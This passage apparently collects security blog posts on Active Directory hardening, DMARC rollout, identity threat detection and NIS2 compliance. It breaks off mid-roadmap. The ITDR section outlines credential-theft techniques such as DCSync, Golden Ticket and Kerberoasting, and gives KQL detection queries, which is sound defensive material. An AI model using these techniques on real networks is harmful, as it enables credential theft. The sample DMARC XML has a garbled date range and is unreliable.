NTLM not restricted
Password policy with a minimum length of less than 12 characters
Credential Guard not enabled
Inactive accounts: more than 90 days without login (but active)

Moderate - within 90 days

Service accounts without gMSA (manually managed passwords)
Inactive computer objects (> 90 days)
GPO delegation not documented
Domain functional level < 2016
LDAP signing not enforced
LDAP channel binding not configured
Tiered administration not implemented
Privileged Access Workstations (PAWs) missing

Hardening Recommendations

For structured security, the Tiered Admin Model is recommended, with Tier 0 (Domain Admins), Tier 1 (Server Admins), and Tier 2 (Workstation Admins). Microsoft ESAE (Enhanced Security Admin Environment) provides a proven framework for this. Separate admin accounts for privileged tasks and JIT access for domain admins via Privileged Identity Management (PIM) round out the concept.

Active Directory security is not a one-time project - configurations change, new service accounts are created, and delegations are forgotten. AWARE7 conducts regular AD security audits and helps systematically reduce attack surfaces - from BloodHound analysis to tiered admin implementation.

Request an AD security audit | Network penetration test

DMARC Implementation: Step-by-Step from p=none to p=reject

kontakt@a7.de (Vincent Heinen) — Wed, 04 Mar 2026 00:00:00 GMT

Email spoofing - sending emails with a forged sender address - is one of the most common techniques used in phishing attacks and CEO fraud. DMARC (Domain-based Message Authentication, Reporting, and Conformance) closes this gap by telling email recipients how to handle messages that fail authentication. Implementation requires care - a misconfigured DMARC record with p=reject can block legitimate emails.

Why DMARC Is Essential

Problem without DMARC:

  Attacker sends:
  From: ceo@unternehmen.de
  → No SPF, no DKIM → receiving servers accept it anyway!
  → Employee sees legitimate sender → clicks on link → attack!

  2024 statistics:
  → 3.4 billion phishing emails daily
  → 94% of all malware attacks start with an email
  → CEO fraud losses: >$26 billion worldwide (since 2013)

DMARC protection:
  With DMARC p=reject:
  → Email without SPF/DKIM alignment → rejected immediately!
  → Attackers can no longer misuse your domain (technically!)
  → No DMARC-compliant spoofing possible

DMARC requirements:
  □ SPF record for all sending domains
  □ DKIM signing for all outgoing emails
  □ DMARC works ONLY if SPF or DKIM is configured!

Step 1: Configure SPF correctly

SPF (Sender Policy Framework) - Requirement #1:

SPF record created in DNS (TXT record for the domain):
  v=spf1 [mechanisms] [qualifier]

Qualifier:
  + (Pass, Default): IP is authorized to send
  - (Fail):          IP is NOT authorized → reject
  ~ (SoftFail):      Not authorized, but only flag (for migration)
  ? (Neutral):       No statement

Mechanisms:
  include:mxserver.example.com   → Include the other domain’s SPF
  ip4:203.0.113.0/24             → Allow IPv4 range
  ip6:2001:db8::/32              → Allow IPv6 range
  mx                             → Allow the domain’s MX server
  a                              → Allow the domain’s A record
  all                            → Everything (as the last element!)

Typical SPF records:

  # Only Google Workspace + own IP:
  v=spf1 include:_spf.google.com ip4:203.0.113.1 -all

  # Microsoft 365 + Mailchimp + own IP:
  v=spf1 include:spf.protection.outlook.com include:servers.mcsv.net ip4:203.0.113.1 -all

  # Multiple email services:
  v=spf1 include:_spf.google.com include:sendgrid.net include:mailgun.org ip4:203.0.113.1 -all

SPF pitfalls:
  → Maximum 10 DNS lookups! (include: counts; every subdomain resolution counts)
  → More than 10 → SPF "PermError" → DMARC fails!
  → Solution: SPF flattening services (convert includes to IPs)

  # Test SPF:
  dig TXT example.com | grep spf
  # Tool: MXToolbox SPF Check, DMARC Analyzer

Step 2: Configure DKIM

DKIM (DomainKeys Identified Mail) - Prerequisite #2:

How DKIM works:
  Outgoing email: Header is signed with a private key
  Recipient verifies: Signature with public key (from DNS)

DNS record (TXT record for Selector._domainkey.example.com):
  mail._domainkey.example.com. IN TXT "v=DKIM1; k=rsa; p=MIIBIjANBgkq..."
  # "mail" = Selector (may vary, e.g., "google", "mg" for Mailgun)

DKIM for various email providers:

  Google Workspace:
  → Admin Console → Apps → Gmail → Authentication
  → Enable DKIM → Copy DNS record from the console
  → Selector: "google"

  Microsoft 365:
  → Security.microsoft.com → Email Authentication → DKIM
  → Enable DKIM for domain → Create CNAME records
  → Selector: "selector1", "selector2"

  Postfix (own mail server):
  # Install OpenDKIM:
  apt install opendkim opendkim-tools
  # Generate key pair:
  mkdir -p /etc/opendkim/keys/example.com
  opendkim-genkey -s mail -d example.com
  # Enter public key in DNS
  cat /etc/opendkim/keys/example.com/mail.txt

  # /etc/opendkim.conf:
  Domain                  example.com
  KeyFile                 /etc/opendkim/keys/example.com/mail.private
  Selector                mail

DKIM Key Rotation:
  → 1024-bit RSA: obsolete, switch to 2048 bits!
  → Annual rotation recommended
  → Keep multiple selectors active simultaneously (during rotation)
  → Activate "selector2" → deactivate the old one → deactivate "selector1"

Verify DKIM:
  dig TXT mail._domainkey.example.com
  # Tool: MXToolbox DKIM Lookup

Step 3: Create DMARC record

DMARC record - DNS TXT record for _dmarc.example.com:

Minimal DMARC record (monitoring mode):
  v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com

Full DMARC record:
  v=DMARC1;
  p=quarantine;           # Policy: none / quarantine / reject
  pct=25;                 # Percentage of emails to which the policy applies
  sp=none;                # Subdomain policy (default: p-value)
  adkim=r;                # DKIM alignment: r=relaxed, s=strict
  aspf=r;                 # SPF alignment: r=relaxed, s=strict
  rua=mailto:dmarc@example.com;  # Aggregate reports
  ruf=mailto:forensic@example.com;  # Forensic reports (optional)
  fo=1;                   # Forensic: 0=both, 1=one fails, d/s=DKIM/SPF

Alignment explained:
  relaxed (r): Org domain must match (mail.example.com → example.com ✓)
  strict (s):  Exact domain must match (mail.example.com → example.com ✗)

DMARC policy values:
  p=none:       No action (reporting only!) → Initial state
  p=quarantine: DMARC failure → Spam folder or soft reject
  p=reject:     DMARC failure → Reject immediately → Strongest protection level!

Set DNS record:
  # DNS entry (with your DNS provider):
  Name:  _dmarc.example.com
  Type:   TXT
  Value:  v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com

  # Verify:
  dig TXT _dmarc.example.com

Step 4: Analyze DMARC reports

Understanding aggregate reports (rua):

Reports are sent daily by receiving mail servers:
  → XML format (from Google, Microsoft, Yahoo, etc.)
  → Contains: IP address, number of emails, SPF/DKIM result, DMARC policy

XML structure (simplified):
  <feedback>
    <report_metadata>
      <org_name>Google Inc.</org_name>
      
      <date_range><begin>17092512001709</begin><end>33</end><begin>7</begin><end>6</end><begin>00</begin></date_range>
    </report_metadata>
    <policy_published>
      <domain>example.com</domain>
      <p>none</p>
      
    </policy_published>
    <record>
      <row>
        <source_ip>209.85.220.41</source_ip>
          <!-- Google IP -->
        <count>450</count>
        
        <policy_evaluated>
          <disposition>none</disposition>
          
          <dkim>pass</dkim>
            <!-- DKIM-Ergebnis -->
          <spf>pass</spf>
              <!-- SPF-Ergebnis -->
        </policy_evaluated>
      </row>
      <row>
        <source_ip>198.51.100.42</source_ip>
          <!-- Unbekannte IP! -->
        <count>3</count>
        
        <policy_evaluated>
          <disposition>none</disposition>
          
          <dkim>fail</dkim>
          
          <spf>fail</spf>
            <!-- Kein SPF für diese IP! -->
        </policy_evaluated>
      </row>
    </record>
  </feedback>

→ 450 emails from Google: SPF+DKIM pass → legitimate sender ✓
→ 3 emails from 198.51.100.42: FAIL → spoofing or forgotten sender!

DMARC reporting services (XML analysis):
  → Free: Postmark DMARC (dmarcdigests.com), Google Postmaster Tools
  → Affordable: DMARC Analyzer, Valimail Monitor
  → Professional: Agari, Red Sift OnDMARC
  → Self-hosted: parsedmarc + Elasticsearch/Kibana

Step 5: Rollout Strategy

DMARC Rollout: From none to reject (recommended timeline):

Weeks 1-4: Monitoring phase (p=none)
  _dmarc.example.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@example.com"

  Actions:
  □ Collect and analyze all aggregate reports
  □ Identify all sending systems (marketing, CRM, monitoring, etc.)
  □ Correctly configure SPF for all senders
  □ Enable DKIM for all senders
  □ Goal: 100% DMARC pass rate for legitimate emails

Weeks 5-8: Quarantine 25% (initial enforcement)
  _dmarc.example.com TXT "v=DMARC1; p=quarantine; pct=25; rua=..."
  → 25% of DMARC-failed emails → Spam folder (attacker traffic)
  → 75% of DMARC-failed emails: no action yet
  → Continue analyzing reports: are there any legitimate failures?

Weeks 9-12: Quarantine 75%
  _dmarc.example.com TXT "v=DMARC1; p=quarantine; pct=75; rua=..."
  → 75% of attacker emails → Spam

Weeks 13-16: Quarantine 100%
  _dmarc.example.com TXT "v=DMARC1; p=quarantine; pct=100; rua=..."
  → All DMARC fails → Spam

Week 17+: Reject (Full protection)
  _dmarc.example.com TXT "v=DMARC1; p=reject; rua=..."
  → DMARC failure → immediately rejected → spoofing impossible!

Common rollout errors:
  → Rejecting too quickly: forgotten sender → legitimate emails rejected!
  → SPF lookup limit exceeded (>10 DNS lookups)
  → DKIM for mailing lists (list rewriting breaks DKIM signature)
  → Subdomains forgotten: marketing.example.com sends without DMARC alignment

Subdomains and Multi-Domain Scenarios

Subdomain handling:

Default: DMARC policy applies ONLY to the specified domain
  _dmarc.example.com → applies to example.com emails
  → Subdomains (mail.example.com) inherit the policy

Explicit subdomain policy (sp=):
  v=DMARC1; p=reject; sp=none;
  → Main domain: reject
  → Subdomains: none (no enforcement)
  → Useful if subdomains are still being configured!

Separate DMARC records for subdomains:
  _dmarc.mail.example.com TXT "v=DMARC1; p=reject; ..."
  → Overrides inherited policy

Multi-domain scenarios:
  example.com (main domain):        DMARC p=reject
  example.de (German domain):  own DMARC record!
  example-test.com (test domain):    DMARC p=reject + SPF "-all" without IPs
                                    → No one can send from this domain!

Parked/Inactive Domains:
  # Domains that do not send: Configure DMARC + SPF to prevent abuse!
  _dmarc.oldomain.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com"
  oldomain.com TXT "v=spf1 -all"   # No one is allowed to send
  # DKIM: no key → automatically fails (ok, since SPF also fails)

DMARC Monitoring Tools

Free and affordable DMARC monitoring solutions:

Free tools:
  parsedmarc (Open Source Python):
  → Reads reports from IMAP mailbox
  → Saves to Elasticsearch or CSV
  → Dashboard in Kibana or Grafana
    pip install parsedmarc
    parsedmarc -c parsedmarc.ini [email.xml]

  Google Postmaster Tools:
    → postmaster.google.com
    → Shows delivery rates, DMARC compliance, and reputation for Google recipients
    → Free, but only for Google traffic

  MXToolbox DMARC Report Analyzer:
    → mxtoolbox.com/dmarc
    → Checks DMARC record + SPF + DKIM

Cost-effective SaaS solutions:
  DMARC Analyzer (Mailhardener): starting at €25/month
  EasyDMARC:                     starting at $0 (Freemium)
  Valimail Monitor:              starting at $0 (Freemium)
  dmarcian:                      starting at $249/year

Key KPIs for DMARC monitoring:
  □ DMARC pass rate: Target >98% (for all legitimate senders)
  □ Fail rate: decreases after rollout (spoofing traffic)
  □ Sources: Do all legitimate senders have a 100% pass rate?
  □ Abuse reports (call): Which IPs are spoofing the domain?

ITDR: Detecting and Defending Against Identity-Based Attacks

kontakt@a7.de (Jan Hörnemann) — Wed, 04 Mar 2026 00:00:00 GMT

Ninety percent of all advanced persistent threats exploit compromised identities. Not malware, not exploits - identities. Attackers steal credentials, escalate privileges, move laterally through Active Directory, and persist in the environment - for months, undetected. Identity Threat Detection and Response (ITDR) is the answer to this reality.

Why Identity Attacks Are So Hard to Detect

The Fundamental Problem

Legitimate activity and attacker activity look identical to SIEM systems:

Legitimate Activity:

IT admin logs in → reads AD objects → changes group policies
Security scanner performs LDAP query → checks user attributes
Service account accesses database → sends Kerberos ticket

Attacker activity (looks identical):

Compromised admin account logs in → reads AD (recon!)
Pass-the-hash: Kerberos ticket with stolen NTLM hashes
DCSync: DRSUAPI call to read all password hashes (looks like replication!)
Golden Ticket: Valid Kerberos ticket with forged PAC

SIEM Gaps in Identity Attacks

Too many legitimate Kerberos requests → threshold too high
LDAP queries from admins are normal → Reconnaissance not detected
DCSync originates from DC accounts → classified as replication by SIEM
Pass-the-Hash: valid ticket, no malware IOC

> Identity attacks often produce no classic malware indicators!

The most important identity attack techniques

Golden Ticket (T1558.001)

Prerequisite: KRBTGT hash (from DCSync or ntds.dit)
Attack: Self-signed Kerberos TGT with arbitrary PAC values
Effect: Access as any user, including Domain Admin, valid for 10+ years!
Identifying characteristics:
- TGT lifetime > 10 hours (default value!)
- TGT attribute values do not match the user object in AD
- KDC event 4769 without preceding 4768

Silver Ticket (T1558.002)

Prerequisite: Service account NTLM hash (e.g., MSSQL service)
Attack: Forged Kerberos service ticket for this service
Effect: Direct access to the service without KDC involvement!
Identifying characteristics:
- Service events without a preceding KDC-4769
- Ticket encryption type: RC4 (instead of AES256)

DCSync (T1003.006)

Prerequisite: Replication rights (DA/DC or stolen)
Attack: DS-Replication-Get-Changes-All DRSUAPI calls
Effect: All password hashes from AD, including KRBTGT!
Detection criteria:
- Event 4662 with DRSUAPI property GUIDs
- From a non-DC source (DCs only replicate among themselves!)
- Mimikatz signature on the network (DRSUAPI calls from the workstation)

Pass-the-Hash / Pass-the-Ticket (T1550)

Pass-the-Hash: NTLM hash instead of password for authentication
Pass-the-Ticket: Stolen Kerberos ticket for lateral movement
Detection criteria:
- Authentication from host without prior credential entry
- NTLM authentication despite Kerberos policy
- Event 4624 Logon Type 9 (NewCredentials) + 4648 (Explicit Credentials)

Kerberoasting (T1558.003)

Attack: SPN accounts (Service Principal Names) → Request TGS → Crack TGS offline (no password errors in the log!)
Detection criteria:
- Many TGS requests (4769) with RC4 encryption
- Requests for SPNs at unusual times
- Account that has never interacted before → requests many SPNs

MFA bypass - Adversary-in-the-Middle (AiTM)

Attack: Evilginx, Modlishka, Muraena as proxy → Phishing site proxied legitimate login (including MFA!) → Session cookie stolen (POST-MFA!)
Detection criteria:
- Impossible Travel: Login from Germany + immediately to the USA
- Unknown device/browser fingerprint after login
- Token replay from a different IP than the original login

ITDR Solution Approaches

Category 1 - Active Directory-focused

Microsoft Defender for Identity (MDI)

Formerly: Azure ATP (Advanced Threat Protection)
Deployment: Sensor on DCs (Domain Controllers)
Analyzes AD DS traffic + event logs in real time
Detects: DCSync, Kerberoasting, Golden Ticket, Password Spraying
ATT&CK Coverage: ~40+ identity-specific techniques
Integration: Microsoft Sentinel, Defender for Endpoint
Cost: Included in Microsoft 365 E5 / Defender for Endpoint Plan 2

CrowdStrike Falcon Identity

Agent-based on DCs + workstations
Real-time prevention (not just detection!)
Prevents pass-the-hash BEFORE authentication occurs
Identity Behavior Graph: Baseline of normal user activity

Vectra AI (Detect for Active Directory)

ML-based anomaly detection in AD traffic
No signatures, only behavioral baselines
Suitable for hybrid AD + Azure AD environments

Category 2 - Identity Infrastructure Protection

Silverfort

Agentless MFA for every resource (including legacy systems!)
Protects service accounts (that lack standard MFA)
Risk-based authentication rules
Identity Firewall: blocks lateral movement based on identity risk

Illusive Networks

Identity Risk Assessment: which service accounts have too many privileges?
Deception component: fake credentials on endpoints
If a fake admin account is used → immediate alert!

Category 3 - Integrated Platforms

Microsoft Entra ID Protection

Risk-based conditional access
User risk + sign-in risk based on ML scoring
Enforces MFA/password reset for risky logins

SailPoint IdentityIQ + ITDR

IGA (Identity Governance) + ITDR combined
Access certification + anomaly detection
Continuous least privilege enforcement

Prioritize Detection Use Cases

CRITICAL (immediate alert → manual investigation)

1. DCSync detection (KQL - Microsoft Sentinel / Defender):

SecurityEvent
| where EventID == 4662
| where Properties contains "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"  // DS-Replication-Get-Changes-All
| where SubjectUserName !endswith "$"  // Not from DC computer account
| project TimeGenerated, SubjectUserName, IpAddress, Computer

2. Kerberoasting Detection:

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"  // RC4 instead of AES!
| where TargetUserName !endswith "$"
| where ServiceName !startswith "krbtgt"
| summarize RequestCount = count() by bin(TimeGenerated, 1h), IpAddress
| where RequestCount > 10  // >10 TGS in 1h → Kerberoasting!

3. Golden Ticket (Long Lifetime):

SecurityEvent
| where EventID == 4769
| extend TicketOptions = extract(@"Ticket Options:\s+0x(\w+)", 1, EventData)
| where TicketOptions == "40810010"  // Forwarded + Renewable
| where TicketEndTime - TicketStartTime > 10h  // >10h Lifetime

4. Impossible Travel:

AADSignInEventsBeta  // Microsoft 365 Defender
| summarize Locations = make_set(Location),
            IPs = make_set(IPAddress) by UserPrincipalName, bin(TimeGenerated, 1h)
| where array_length(Locations) > 1
// Manual review: Germany + USA in 1 hour?

HIGH (Alert with automated response)

5. Pass-the-Hash Indicators:

SecurityEvent
| where EventID == 4624
| where LogonType == 9  // NewCredentials (PtH indicator!)
| where AuthenticationPackageName == "NTLM"

6. New Admin Group Membership:

SecurityEvent
| where EventID == 4728  // User added to security group
| where TargetUserName in ("Domain Admins", "Enterprise Admins", "Schema Admins")
// Immediate alert for every change to these groups!

Countermeasures and Hardening

IMMEDIATELY

1. Tiered Administration Model

Tier 0: DCs, PKI, Federation (Tier-0 admins ONLY!)
Tier 1: Server administration
Tier 2: Workstation administration
No Tier 0 admin logs in to Tier 1/2 systems!
Authentication Policy Silos + Kerberos Armoring

2. Rotate KRBTGT password

Every 6-12 months (or after compromise)
Rotate twice! (Kerberos interoperability: old password cached)
Invalidates all Golden Tickets!

3. Enforce Kerberos AES-only > Group Policy: Network Security → Kerberos Encryption Types → Disable RC4 → Makes Kerberos cracking more difficult (AES hashes are slower to crack!)

4. Protected Users Security Group

Add DAs and EAs to the Protected Users group!
Prevents: NTLM authentication, RC4 Kerberos, credential caching
Kerberos tickets valid for max. 4 hours

5. Service Account Hardening

Managed Service Accounts (MSA/gMSA) instead of regular accounts
MSA: automatic password rotation, no interactive login
LAPS for local admin passwords (each workstation individually!)
Kerberoasting: Move SPNs to gMSAs (very long passwords = uncrackable)

MEDIUM TERM

6. Privileged Identity Management (PIM)

Just-in-time admin access: Rights only when necessary, time-limited
Azure AD PIM / CyberArk / BeyondTrust
Every DA activation → Approval + ticket number required

7. Conditional Access with Identity Risk

User Risk Policy: High → Force password reset
Sign-In Risk: Medium → Force MFA
Compliant Device: Only managed devices with Entra-Join

8. Credential Hygiene

Have I Been Pwned integration: Block compromised passwords
LAPS v2: Windows LAPS (integrated into Windows Server 2022/Windows 11)
Prevent pass-the-hash attacks: Credential Guard (Hyper-V-based)
Enable Windows Defender Credential Guard GPO!

Identity attacks are the most common and dangerous attack vector in modern enterprise networks. ITDR bridges the gap between traditional SIEM tools and the realities of modern identity attacks. AWARE7 supports the implementation and evaluation of ITDR solutions as part of red team engagements and security architecture reviews.

Request an ITDR Assessment | Active Directory Penetration Test

NIS2 Directive: The Complete Guide for Businesses in Germany

kontakt@a7.de (Chris Wojzechowski) — Wed, 04 Mar 2026 00:00:00 GMT

The NIS2 Directive is in effect, the implementation deadline has passed - and many companies still aren’t sure whether or how they are affected. This article provides complete clarity: Who is required to do what, which sectors and thresholds apply, what do the ten security measures under Article 21 entail, how do reporting obligations work, what penalties apply, and how does NIS2 relate to BSI IT-Grundschutz and ISO 27001.

Internal links to relevant AWARE7 services: NIS2 Consulting and Gap Analysis, ISMS and ISO 27001 Consulting.

What is NIS2?

NIS2 (Network and Information Security Directive 2, EU 2022/2555) is the most comprehensive EU cybersecurity legislation in years. It replaced the original NIS Directive of 2016 and entered into force in October 2022. Member states had until October 2024 to transpose NIS2 into national law. In Germany, implementation was carried out through the NIS2UmsuCG (NIS-2 Implementation and Cybersecurity Strengthening Act). The competent authority in Germany is the BSI (Federal Office for Information Security).

The core of the directive: mandatory cybersecurity measures and reporting obligations for operators of critical and important facilities. The scale: Instead of the approximately 4,500 companies that fell under the previous NIS1 Directive, the BSI estimates that NIS2 will affect around 29,000 to 30,000 companies - an increase by a factor of 15. Many of these are small and medium-sized enterprises that have had little to no experience with regulated security standards to date.

A key feature of NIS2 compared to previous regulations is the personal liability of management bodies. Managing directors and board members must actively approve and monitor security measures, participate in information security training themselves, and can be held personally liable in cases of gross negligence. Cybersecurity has thus become a top priority in the legal sense.

Who is affected? Sectors and thresholds

NIS2 distinguishes between essential entities and important entities. The classification depends on the sector and the size of the company. Both categories must implement appropriate security measures, but differ in the intensity of oversight and the scope of potential sanctions.

The Size Threshold

Category	Criteria	NIS2 Status
Large enterprises	≥ 250 employees OR revenue ≥ 50 million EUR OR balance sheet total ≥ 43 million EUR	Essential entity (if in a critical sector listed in Annex I)
Medium-sized enterprises	50-249 employees OR revenue of 10-50 million EUR OR balance sheet total of 10-43 million EUR	Essential or important facility depending on sector
Small enterprises	10-49 employees OR revenue/balance sheet total of 2-10 million EUR	Annex I: important facility; Annex II: only in exceptional cases
Microenterprises	< 10 employees AND revenue/total assets < 2 million EUR	Generally exempt

High-Criticality Sectors (Annex I)

Enterprises in these sectors qualify as essential facilities under NIS2 if they meet the size thresholds:

Energy: Electricity (generators, transmission, distribution), oil (pipelines, transport, storage), gas (suppliers, transmission, distribution), district heating, hydrogen.

Transport: Air (airports, airlines, air traffic control), rail (infrastructure operators, rail companies), water (maritime and inland waterway transport), road (road authorities, ITS operators).

Banking: Credit institutions under CRR.

Financial market infrastructures: Trading venues, central counterparties (CCPs).

Healthcare: Hospitals and healthcare providers, laboratories, research institutions (pharmaceutical research), manufacturers of critical-class medical devices.

Drinking water: Water utilities.

Wastewater: Wastewater utilities.

Digital infrastructure: Internet Exchange Points (IXPs), public DNS resolvers, TLD registrars, cloud computing services, data center services, CDN services, trust service providers, providers of public electronic communications networks.

ICT Service Management (B2B): Managed Service Providers (MSPs), Managed Security Service Providers (MSSPs), Security Operations Centers (SOCs).

Public Administration: Central and regional authorities.

Space: Operators of ground infrastructure.

Other Critical Sectors (Annex II)

Companies in these sectors are considered critical infrastructure if they have at least 50 employees or more than EUR 10 million in revenue:

Postal and courier services, waste management, chemicals (manufacturers and distributors of hazardous chemicals), food (wholesale and industrial production), manufacturing (medical devices, computers and electronics, electrical equipment, mechanical engineering, motor vehicles, other vehicle manufacturing), digital services (online marketplaces, online search engines, social network platforms), research institutions.

Special Rules: Smaller Companies May Also Be Affected

Regardless of size, the following are always affected: qualified trust service providers, TLD registrars and public DNS resolvers, providers of public communications networks, as well as critical infrastructure entities specifically designated by the state - for example, if a company is the sole provider of an essential service in a Member State.

Essential vs. Important: The implications of classification

Aspect	Essential facilities	Important facilities
Supervision	Proactive: BSI may conduct inspections without cause	Reactive: only upon suspicion or following a report
Fines	Up to 10 million EUR or 2% of global annual turnover	Up to 7 million EUR or 1.4% of global annual turnover

The Self-Check: 3 Questions

1. Am I large enough? More than 50 employees or more than 10 million EUR in revenue?

2. Am I in the right sector? One of the sectors listed in Annex I or Annex II?

3. Am I a supplier? Even if you are not directly affected yourself: Your customers must be NIS2-compliant and will pass on security requirements to their supply chain.

Registration Requirement with the BSI

Both essential and important entities must register with the BSI no later than three months after determining that they are affected. Registration is done via the portal bsi.bund.de.

The following information must be provided: name and address of the entity, sector and type of entity (essential or important), contact details including 24/7 availability, IP address ranges of public systems, and the EU member states in which services are provided.

The 10 Security Measures under Art. 21 NIS2

Art. 21(2) of the NIS2 Directive defines ten minimum measures. The wording is intentionally kept technology-neutral - the outcome is what matters, not the specific technology. Recognized standards such as ISO 27001 or BSI IT-Grundschutz can serve as proof of compliance.

1. Risk Analysis and Security Policy

Organizations must conduct a systematic risk analysis for all network and information systems, develop a security policy based on this analysis, and regularly review and update it. The best practice is based on ISO 31000 and ISO 27005: create an asset inventory, identify threats (threat modeling), assess vulnerabilities (CVSS scoring), evaluate risks based on probability of occurrence and impact, and create a documented risk treatment plan.

Required documentation: risk register, risk treatment plan with responsible parties and deadlines, annual management review.

2. Incident Response

Every affected company needs an incident response plan that includes a classification scheme (what constitutes a significant incident?), an escalation matrix (who informs whom?), a communication plan (internal, external, authorities), forensic procedures, and the defined reporting process to the BSI. For technical detection, SIEM solutions (e.g., Microsoft Sentinel, Splunk) and EDR systems (e.g., Microsoft Defender, CrowdStrike) are recommended on all endpoints.

The plan must be documented and tested regularly. A designated Incident Commander and the contacts for the BSI, CERT-Bund, and law enforcement agencies must be established in advance.

3. Business Continuity and Crisis Management (BCM)

Organizations must define RTO (Recovery Time Objective) and RPO (Recovery Point Objective) for critical systems, implement a robust backup strategy (recommended: 3-2-1-1-0 rule), and conduct annual disaster recovery tests. A documented Business Continuity Plan (BCP) and crisis management processes are mandatory.

4. Supply Chain Security

NIS2 requires security throughout the entire supply chain, including relationships with direct suppliers. Companies must classify suppliers by criticality:

Tier	Description	Assessment Requirement
TIER 1 (Critical)	Supplier has access to production systems	Full assessment prior to contract conclusion
TIER 2 (Important)	Supplier processes sensitive data	Assessment prior to contract conclusion
TIER 3 (Standard)	Standard supplier without IT access	Basic check

All relevant supplier contracts must include a security requirements appendix that governs audit rights, reporting obligations (supplier must report incidents within 24 hours), NDAs, and data protection (AVV, if personal data is processed). Responsibility always remains with the company itself - external partners do not relieve the company of its obligations.

5. Security in the Acquisition, Development, and Maintenance of IT Systems

Security requirements must be defined prior to IT procurements. A Secure Development Lifecycle (SDLC) must be implemented for in-house software development. Systematic vulnerability management with defined patch SLAs (critical patches within 48 hours) and regular automated vulnerability scans are mandatory.

6. Measuring the effectiveness of security measures

Companies must regularly review their security measures and demonstrate that they are effective. This includes annual internal security audits, external penetration tests every one to two years, regular automated vulnerability scans, and a management review of security key performance indicators (KPIs). The BSI may request all relevant evidence during an audit.

7. Training and Basic Cybersecurity Hygiene (Security Awareness)

Security awareness training for all employees, as well as specialized training for the IT department and management, is mandatory. Specifically: annual security awareness training for all employees, regular phishing simulations, orientation for new employees, and continuing education for the CISO and IT management on the NIS2 requirements. Participation must be verifiably documented.

For executive management, Section 38 of the BSIG expressly stipulates that they must verifiably participate in information security training.

8. Cryptography and Encryption

Sensitive data must be encrypted both at rest and in transit. Minimum standards: TLS 1.2, TLS 1.3 recommended for all web communication; AES-256 for hard drives (BitLocker/LUKS/FileVault), databases (TDE), and backups; VPN connections with AES-256-GCM and IKEv2/IPsec. Outdated protocols (TLS 1.0, TLS 1.1, SSL 3.0) and insecure cipher suites (RC4, 3DES) must be disabled. A documented cryptography policy with key management processes (key rotation, HSM, or KMS) is required.

9. Personnel Security, Access Control, and Asset Management

Identity & Access Management based on the least privilege principle, Privileged Access Management (PAM) for privileged accounts, and regular access reviews (at least quarterly) are mandatory. A complete IT asset inventory (hardware, software, cloud resources) with defined asset owners must be maintained. The offboarding process must ensure that all access is revoked on the last day of employment. Background checks must be conducted for employees with privileged access (to the extent legally possible).

10. Multi-Factor Authentication (MFA) and Communication Security

Art. 21(2)(j) is an explicit requirement: MFA must be enabled at a minimum for all remote access (VPN, RDP, web portal), cloud services (Microsoft 365, AWS, Azure), privileged accounts (admins, root access), critical applications (ERP, SCADA, production systems), and remote maintenance access.

NIS2 recommends phishing-resistant MFA, particularly FIDO2/passkeys for privileged accounts. The security hierarchy of MFA methods ranges from SMS OTP (weak, but better than no MFA) to TOTP apps (good standard) and push notifications with number matching, up to hardware tokens (Yubikey) and FIDO2/passkeys (best option, phishing-resistant, and domain-bound).

In addition, secure emergency communication channels must be provided - in the event of a ransomware attack, the email system may be encrypted, which is why out-of-band communication (Signal group, personal emails) must be set up in advance.

Reporting Requirements: Deadlines and Process (Art. 23 NIS2)

NIS2 contains one of the strictest deadlines in European IT law. In the event of significant security incidents, affected companies are required to follow this three-step plan:

What constitutes a "significant incident"?

An incident is considered significant if it meets at least one of the following criteria: significant disruption of operations (actual or imminent), significant financial losses expected (including recovery costs, data loss, contractual penalties), or harm to third parties (especially if customer data is affected or partner systems are compromised).

Examples that likely must be reported: ransomware attack on production systems, data leak involving customer data (starting at approximately 1,000 records), DDoS attack that halts critical services for more than two hours, compromise of a production environment, supplier compromise affecting one’s own systems.

Examples that likely do not need to be reported: a single unsuccessful phishing attempt, external port scans, malware on a single workstation without propagation.

When in doubt, report it. The BSI does not impose penalties for unnecessary early warnings.

The Reporting Timeline

Deadline	Content	Recipient
24 hours	Early warning: type of incident, affected systems, initial assessment of whether the incident is still active	BSI (meldungen@bsi.bund.de or BSI Portal)
72 hours	Follow-up report: complete description, severity and impact, probable cause, corrective measures taken	BSI
1 month	Final report: complete root cause analysis, measures taken, preventive measures	BSI

Parallel Reporting Obligations

If personal data is affected, the GDPR reporting obligation also applies: the competent data protection authority must also be notified within 72 hours. Cyber insurance providers must be informed immediately - delayed reporting may result in the denial of insurance benefits. Banks and financial service providers must additionally notify BaFin (BAIT/VAIT/DORA), in some cases with shorter deadlines.

Preparing the Reporting Process

The following preparatory measures must be completed before an incident occurs:

Set up a BSI reporting portal account (portal.bsi.bund.de - registration takes several days, so set it up now)
CISO or person responsible for reporting appointed (including a deputy for vacation/sick leave)
Contact list for crisis communication created: BSI, data protection authority, cyber insurance provider, IT lawyer, press spokesperson, CEO
Reporting templates created: template for 24-hour early warning, 72-hour follow-up report, and GDPR report
Incident log process established: document everything with UTC timestamps
Out-of-band communication channel provided

Implementation Roadmap: From Gap Analysis to NIS2 Compliance

Step 1: Determine and classify impact

Use the sector tables and thresholds to check whether your company is affected, and classify yourself as a significant or important entity. This step determines the scope of oversight and potential fines.

Step 2: Conduct a gap analysis

A thorough gap analysis reveals which of the ten Article 21 measures have already been implemented and where improvements are needed. Typical gaps for companies affected for the first time include: lack of defined roles for information security, undocumented processes, unclear reporting channels, no structured supplier management, and lack of MFA for remote access.

Step 3: Define Responsibilities and Role Model

NIS2 requires clearly defined roles for technical, organizational, and strategic tasks. Often, there is no central body to coordinate implementation. Companies should clearly define roles such as Information Security Officers, Incident Managers, and Risk Management Officers and grant them sufficient authority.

Step 4: Establish or Adapt an ISMS

An Information Security Management System (ISMS) provides the structured foundation. NIS2 is heavily based on ISO 27001 - companies with existing certification have a clear advantage but must fulfill additional obligations regarding reporting channels, supplier assessments, and management responsibility. Companies without an existing structure should start with ISO 27001 or BSI IT-Grundschutz.

Step 5: Implement technical and organizational measures

MFA for all remote access and privileged accounts, network segmentation (VLANs, DMZ), SIEM/EDR monitoring, encryption at rest and in transit, a patch management process with SLAs, vulnerability scans, and the incident response plan are the priority technical measures. At the same time, security policies must be adopted, training conducted, and supplier contracts amended.

Step 6: Complete BSI registration

